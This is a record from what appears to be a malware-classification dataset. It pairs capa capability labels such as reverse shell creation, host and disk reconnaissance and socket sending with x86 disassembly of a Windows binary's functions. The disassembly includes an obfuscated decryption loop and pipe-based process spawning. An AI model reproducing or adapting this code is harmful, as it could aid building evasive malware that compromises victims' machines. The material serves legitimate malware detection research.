joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4040f0
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2160
call fcn.0040f970
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x47e128]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x47e12c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x1c], edx
call fcn.004040e0
mov ecx, dword [0x47e130]
mov edx, dword [0x47e134]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0x20
jmp 0x404160
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x48c614]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x40418c
mov dword [0x48c610], 0xedeb2e40
jmp 0x4041a7
cmp eax, 0x3eb
jne 0x4041a7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x48c0a0], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x48c614], 0x9e6
mov dword [0x48c60c], 0xf4ea3dee
jne 0x4041e2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x48c614], 0x213
jne 0x404280
push 0
lea eax, [ebp - 0x1960]
push eax
push 0
push 0
push 0
push 0
call ebx
lea ecx, [ebp - 0x960]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x1160]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
lea ecx, [ebp - 0x2160]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
lea edx, [ebp - 0x30]
push edx
push 0
lea eax, [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ecx, [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub edi, dword [ebp - 4]
cmp dword [0x48c614], 0xc
jne 0x40429e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [ebp - 8]
mov edx, edi
shr edx, 5
lea ecx, [eax + edi]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, edi
shl eax, 4
add eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 4]
xor eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x404160
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4042f0
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Set environment variable
Set thread local storage value
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1808
call fcn.0040f970
mov eax, dword [0x48c614]
mov ecx, dword [0x48c0a4]
shr eax, 3
test eax, eax
jbe 0x404408
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x48c614], 0x959
jne 0x4043ee
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x1008]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1808]
push eax
push 0
call edi
mov ecx, dword [ebp - 4]
push ecx
call fcn.004040f0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404330
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407c1c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47d500]
jne 0x407c26
repz ret
jmp fcn.0040bc7b

Function at 0x40ac23
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408f26
and dword [ebp - 4], 0
cmp dword [0x4832f4], 0
mov ebx, eax
jne 0x40acd4
push 0x401c04
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ad85
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401bf8
push edi
call esi
test eax, eax
je 0x40ad85
push eax
call fcn.00408eb4
mov dword [esp], 0x401be8
push edi
mov dword [0x4832f4], eax
call esi
push eax
call fcn.00408eb4
mov dword [esp], 0x401bd4
push edi
mov dword [0x4832f8], eax
call esi
push eax
call fcn.00408eb4
mov dword [esp], 0x401bb8
push edi
mov dword [0x4832fc], eax
call esi
push eax
call fcn.00408eb4
pop ecx
mov dword [0x483304], eax
test eax, eax
je 0x40acd4
push 0x401ba0
push edi
call esi
push eax
call fcn.00408eb4
pop ecx
mov dword [0x483300], eax
mov eax, dword [0x483300]
cmp eax, ebx
je 0x40ad2c
cmp dword [0x483304], ebx
je 0x40ad2c
push eax
call fcn.00408f2f
push dword [0x483304]
mov esi, eax
call fcn.00408f2f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ad2c
test edi, edi
je 0x40ad2c
call esi
test eax, eax
je 0x40ad23
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ad23
test byte [ebp - 0xc], 1
jne 0x40ad2c
or dword [ebp + 0x10], 0x200000
jmp 0x40ad65
mov eax, dword [0x4832f8]
cmp eax, ebx
je 0x40ad65
push eax
call fcn.00408f2f
pop ecx
test eax, eax
je 0x40ad65
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ad65
mov eax, dword [0x4832fc]
cmp eax, ebx
je 0x40ad65
push eax
call fcn.00408f2f
pop ecx
test eax, eax
je 0x40ad65
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4832f4]
call fcn.00408f2f
pop ecx
test eax, eax
je 0x40ad85
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ad87
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402b0f
Capabilities:
Terminate process

Disassembly:
push 0x243
push str.abort
push str.__s:_d__abort____n
call fcn.00408fbc
add esp, 0xc
push 0xffffffffffffffff
call fcn.00456b6d
int3

Function at 0x40836f
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4aabf0]
push ebx
push edi
mov ebx, edx
mov dword [ebp - 0x408], eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x4083e4
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x400
mov esi, eax
lea eax, [ebp - 0x404]
push edi
push eax
call fcn.00454150
push esi
push ebx
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push str._FAILED_GetProcAddress_Handle__0x_X__szName___s___err__0x_X_n_n
push eax
call fcn.0040830b
add esp, 0x20
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0043a375
mov esp, ebp
pop ebp
ret

Function at 0x4083f6
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, 0x105
lea eax, [ebp - 0x10c]
push edi
push 0
push eax
call fcn.00454150
add esp, 0xc
lea eax, [ebp - 0x10c]
push 0x104
push eax
push fcn.0040833e
call fcn.0040833e
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4084d9
lea ecx, [ebp - 0x10c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408450
sub ecx, edx
jmp 0x40846c
cmp ecx, edi
jae 0x408520
mov byte [ebp + ecx - 0x10c], 0
dec ecx
cmp byte [ebp + ecx - 0x10c], 0x5c
jne 0x40845b
lea ecx, [ebp - 0x10c]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x40847d
mov eax, dword [str.npapi]
mov dword [ecx], eax
mov ax, word [0x48ea60]
mov word [ecx + 4], ax
lea ecx, [ebp - 0x10c]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x40849d
mov eax, dword [str..dll]
mov dword [ecx], eax
mov al, byte [0x48f2d0]
mov byte [ecx + 4], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 8
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [0x4aabf0], eax
jmp 0x4084de
mov eax, dword [0x4aabf0]
pop edi
test eax, eax
jne 0x408512
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x50c]
push str._ERROR_Load__s_err:_0x_X_n
push eax
call fcn.0040830b
add esp, 0x10
lea eax, [ebp - 0x50c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043a375
mov esp, ebp
pop ebp
ret
call fcn.0043a775
int3
Function at 0x40d319
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40d350
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov dword [ebp - 0xc], esi
call fcn.0043c180
test esi, esi
mov dword [ebp - 8], eax
pop esi
jne 0x40d361
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0043a375
mov esp, ebp
pop ebp
ret
mov edx, 0x490ae8
lea ecx, [ebp - 0xc]
call fcn.0040d1f6
int3

Function at 0x40d36f
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [0x4ab2fc]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40d387
mov eax, dword [eax + 4]
jmp 0x40d389
xor eax, eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea ebx, [edi + 3]
shr ebx, 2
test eax, eax
je 0x40d3b7
mov esi, dword [eax]
test esi, esi
je 0x40d3b7
and dword [eax], 0
mov cl, byte [esi]
movzx eax, cl
cmp eax, ebx
jb 0x40d3b0
mov byte [esi + edi], cl
jmp 0x40d3d8
push esi
call fcn.004049f6
pop ecx
lea eax, [ebx*4 + 1]
push eax
call fcn.0043a386
xor edx, edx
mov esi, eax
pop ecx
cmp ebx, 0xff
movzx ecx, bl
cmovbe edx, ecx
mov byte [esi + edi], dl
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x40d76e
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push 0xffffffffffffffff
push 0
mov eax, dword [esi + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 4]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, 0x4ab254
lock xadd dword [ecx], eax
push 0
push dword [esi + 4]
test eax, eax
je 0x40d7c2
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x40d7d8
push fcn.00403e81
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push 0xffffffffffffffff
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0043a375
mov esp, ebp
pop ebp
ret
Function at 0x40d7e7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x4a4070]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
push eax
push eax
push 1
mov esi, ecx
push eax
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edi, eax
mov dword [ebx + 4], edi
test edi, edi
jne 0x40d846
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebx]
mov ecx, ebx
push 1
mov esi, eax
call dword [edx]
mov dword [esp + 0x10], esi
call fcn.0043c180
mov dword [esp + 0x14], eax
test esi, esi
jne 0x40d92c
mov esi, dword [esp + 0x18]
xor eax, eax
push eax
push eax
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 8], eax
mov dword [ebx + 8], eax
cmp dword [esi + 8], 0
jne 0x40d892
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebx]
mov ecx, ebx
push 1
mov esi, eax
call dword [edx]
mov dword [esp + 0x10], esi
call fcn.0043c180
mov dword [esp + 0x14], eax
test esi, esi
je 0x40d88e
mov edx, str.thread.exit_event
lea ecx, [esp + 0x10]
jmp 0x40d935
mov esi, dword [esp + 0x18]
and dword [esp + 0x20], 0
lea eax, [esp + 0x20]
push eax
push 0
push ebx
push 0x40d93b
push 0x10000
push 0
call fcn.0045ceb8
add esp, 0x18
mov dword [esi + 4], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40d908
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebx]
mov ecx, ebx
push 1
mov dword [esp + 0x14], eax
call dword [edx]
test edi, edi
je 0x40d8d9
push edi
call esi
mov eax, dword [esp + 0x18]
cmp dword [eax + 8], 0
je 0x40d8e8
push dword [eax + 8]
call esi
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x18], ebx
call fcn.0043c180
mov dword [esp + 0x1c], eax
test ebx, ebx
je 0x40d908
mov edx, str.thread
lea ecx, [esp + 0x18]
jmp 0x40d935
test edi, edi
je 0x40d918
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call esi
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043a375
mov esp, ebp
pop ebp
ret 8
mov edx, str.thread.entry_event
lea ecx, [esp + 0x10]
call fcn.0040d1f6
int3
Function at 0x40e5a2
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
push edi
mov eax, edx
xor edi, edi
mov dword [ebp - 0x14], eax
cmp ebx, 0xffffffff
je 0x40e67a
cmp byte [ebp + 8], 0
je 0x40e600
test byte [eax], 8
je 0x40e600
xor eax, eax
mov dword [ebp - 8], eax
call fcn.0043c180
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
mov ecx, ebx
push eax
push 0x80
push 0xffff
call fcn.0040e7ec
add esp, 0x14
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, esi
mov ecx, eax
call fcn.00419731
mov edi, eax
test edi, edi
je 0x40e67a
call fcn.0043c180
cmp dword [esi + 4], eax
jne 0x40e630
cmp dword [esi], 0x2733
je 0x40e642
call fcn.0043c180
cmp dword [esi + 4], eax
jne 0x40e676
cmp dword [esi], 0x4d5
jne 0x40e676
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, dword [ebp - 0x14]
push 0
and byte [eax], 0xfc
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, esi
mov ecx, eax
call fcn.00419731
mov edi, eax
test edi, edi
jne 0x40e685
call fcn.0043c180
and dword [esi], 0
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043a375
mov esp, ebp
pop ebp
ret

Function at 0x40e7ec
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
cmp edi, 0xffffffff
jne 0x40e80f
call fcn.0043c180
mov ecx, dword [ebp + 0x18]
mov dword [ecx + 4], eax
or eax, edi
mov dword [ecx], 0x2719
jmp 0x40e8b0
cmp dword [ebp + 8], 0xa5100000
push esi
mov esi, dword [ebp + 0xc]
jne 0x40e864
cmp esi, 2
je 0x40e82c
cmp esi, 1
jne 0x40e878
cmp dword [ebp + 0x14], 4
je 0x40e842
call fcn.0043c180
mov ecx, dword [ebp + 0x18]
mov dword [ecx + 4], eax
or eax, 0xffffffff
mov dword [ecx], 0x2726
jmp 0x40e8af
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
je 0x40e84f
or byte [edx], 4
jmp 0x40e852
and byte [edx], 0xfb
call fcn.0043c180
mov ecx, dword [ebp + 0x18]
and dword [ecx], 0
mov dword [ecx + 4], eax
xor eax, eax
jmp 0x40e8af
cmp dword [ebp + 8], 0xffff
jne 0x40e878
cmp esi, 0x80
jne 0x40e878
or byte [edx], 8
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esi, dword [ebp + 0x18]
mov ecx, eax
mov edx, esi
call fcn.00419731
mov edi, eax
test edi, edi
jne 0x40e8ad
call fcn.0043c180
and dword [esi], edi
mov dword [esi + 4], eax
mov eax, edi
pop esi
pop edi
pop ebp
ret
Function at 0x40ec52
Capabilities:
Send data
Send data on socket

Disassembly:
push 0x24
mov eax, 0x478a07
call fcn.0043aeb9
mov edi, ecx
xor eax, eax
mov bl, al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
mov esi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
lea ecx, [edi + 0x38]
add ecx, esi
call fcn.004126f9
test al, al
jne 0x40ec8b
test bl, bl
je 0x40ec8d
mov bl, 1
add esi, 0x1c
cmp esi, 0x70
jl 0x40ec6f
mov ecx, dword [edi + 0x14]
lea eax, [ebp - 0x1c]
push eax
call fcn.0040dea2
test bl, bl
je 0x40ed09
xor ebx, ebx
mov dword [ebp - 0x30], 1
lea eax, [ebp - 0x11]
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ebx
call fcn.0043c180
mov esi, dword [edi + 0x34]
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push 1
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.WS2_32.dll_WSASend]
lea edx, [ebp - 0x28]
mov ecx, eax
call fcn.00419731
cmp dword [ebp - 0x28], 0x40
mov esi, eax
je 0x40ecfb
cmp dword [ebp - 0x28], 0x4d2
jne 0x40ed00
call fcn.0043c180
test esi, esi
jne 0x40ed09
call fcn.0043c180
lea ecx, [ebp - 0x1c]
call fcn.004127b1
call fcn.0043ae63
ret 8

Function at 0x40ef93
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x1c]
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [edi + 4]
add eax, 0x18
lock inc dword [eax]
cmp byte [ebp + 0x18], 0
je 0x40efc4
push 0
push 0
jmp 0x40f012
cmp dword [ecx], 0xffffffff
jne 0x40efd2
push 0
push 0x2719
jmp 0x40f012
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push esi
push 0
push ebx
push dword [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push edx
push dword [ecx]
call dword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
pop esi
je 0x40f01d
cmp eax, 0x3e5
je 0x40f01d
push dword [ebp - 8]
push eax
mov ecx, dword [edi + 4]
push ebx
call fcn.0040df79
jmp 0x40f026
mov ecx, dword [edi + 4]
push ebx
call fcn.0040df22
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0043a375
mov esp, ebp
pop ebp
ret 0x18
Function at 0x40f038
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4a4070]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x1c]
mov eax, dword [esi + 4]
add eax, 0x18
lock inc dword [eax]
cmp byte [ebp + 0x18], 0
je 0x40f06a
push 0
push 0
jmp 0x40f0cb
cmp dword [ecx], 0xffffffff
jne 0x40f078
push 0
push 0x2719
jmp 0x40f0cb
mov eax, dword [ebp + 0x14]
and dword [ebp - 8], 0
push ebx
push 0
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push edx
push dword [ecx]
call dword [sym.imp.WS2_32.dll_WSARecv]
mov ebx, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
jne 0x40f0ae
mov eax, 0x2746
jmp 0x40f0bb
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test ebx, ebx
pop ebx
je 0x40f0d6
cmp eax, 0x3e5
je 0x40f0d6
push dword [ebp - 8]
push eax
mov ecx, dword [esi + 4]
push edi
call fcn.0040df79
jmp 0x40f0df
mov ecx, dword [esi + 4]
push edi
call fcn.0040df22
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0043a375
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40f53f
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
push edi
push dword [0x4ab2fc]
mov esi, dword [ebx + 0x14]
lea eax, [esi + 0x14]
neg esi
sbb esi, esi
and esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
jmp 0x40f568
cmp dword [eax], esi
je 0x40f59d
mov eax, dword [eax + 8]
test eax, eax
jne 0x40f561
xor edi, edi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test edi, edi
je 0x40f5a2
mov ecx, dword [esi]
cmp byte [ecx + 0x38], 0
jne 0x40f5a2
mov byte [ecx + 0x38], 1
mov ecx, dword [esi]
add ecx, 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
jmp 0x40f5ed
mov edi, dword [eax + 4]
jmp 0x40f56e
mov eax, dword [esi]
cmp byte [eax + 0x38], 0
je 0x40f5c3
push dword [ebp + 0xc]
lea ecx, [eax + 0x3c]
call fcn.00412825
mov eax, dword [esi]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x40f5eb
mov byte [eax + 0x38], 1
mov eax, dword [esi]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esi]
push dword [ebp + 0xc]
add ecx, 0x44
call fcn.00412825
push ecx
push dword [esi]
mov ecx, dword [ebx + 0x14]
call fcn.0040da06
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x40fb3b
Capabilities:
Encode data using base64

Disassembly:
push 0x18
mov eax, 0x478b79
call fcn.0043ae85
mov esi, ecx
mov dword [ebp - 0x24], esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ebx
jb 0x40fb65
mov eax, dword [esi]
jmp 0x40fb67
mov eax, esi
mov byte [eax], bl
mov eax, dword [ebp + 8]
mov ecx, ebx
push 3
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], 1
pop edi
jmp 0x40fb80
mov edx, dword [ebp - 0x20]
dec eax
mov dword [ebp + 8], eax
mov al, byte [edx]
mov byte [ebp + ecx - 0x14], al
inc ecx
mov ah, byte [ebp - 0x12]
inc edx
mov dword [ebp - 0x20], edx
mov dl, byte [ebp - 0x13]
mov dh, byte [ebp - 0x14]
mov byte [ebp - 0xf], ah
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], dh
cmp ecx, edi
jne 0x40fc11
mov al, dh
mov cl, dh
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ah
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
cmp dword [0x4a4b04], 0x10
mov eax, 0x4a4af0
movzx ecx, byte [ebp + edi - 0x18]
cmovae eax, dword [0x4a4af0]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
push 1
call fcn.00415b28
inc edi
cmp edi, 4
jl 0x40fbda
mov dl, byte [ebp - 0xd]
mov ecx, ebx
mov dh, byte [ebp - 0xe]
push 3
pop edi
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40fb7d
mov dword [ebp + 8], ecx
test ecx, ecx
je 0x40fcce
mov eax, ecx
cmp ecx, edi
jge 0x40fc4a
cmp eax, edi
jae 0x40fc45
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, edi
jl 0x40fc2f
mov ah, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov dh, byte [ebp - 0x14]
jmp 0x40fc4d
call fcn.0043a775
mov ah, byte [ebp - 0xf]
mov al, dh
and dh, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl dh, 4
add dh, al
shl dl, 2
mov al, ah
mov byte [ebp - 0x17], dh
shr al, 6
and ah, 0x3f
add dl, al
mov byte [ebp - 0x15], ah
lea eax, [ecx + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x40fcb8
mov edi, eax
cmp dword [0x4a4b04], 0x10
mov eax, 0x4a4af0
movzx ecx, byte [ebp + ebx - 0x18]
cmovae eax, dword [0x4a4af0]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
push 1
call fcn.00415b28
inc ebx
cmp ebx, edi
jl 0x40fc87
mov ecx, dword [ebp + 8]
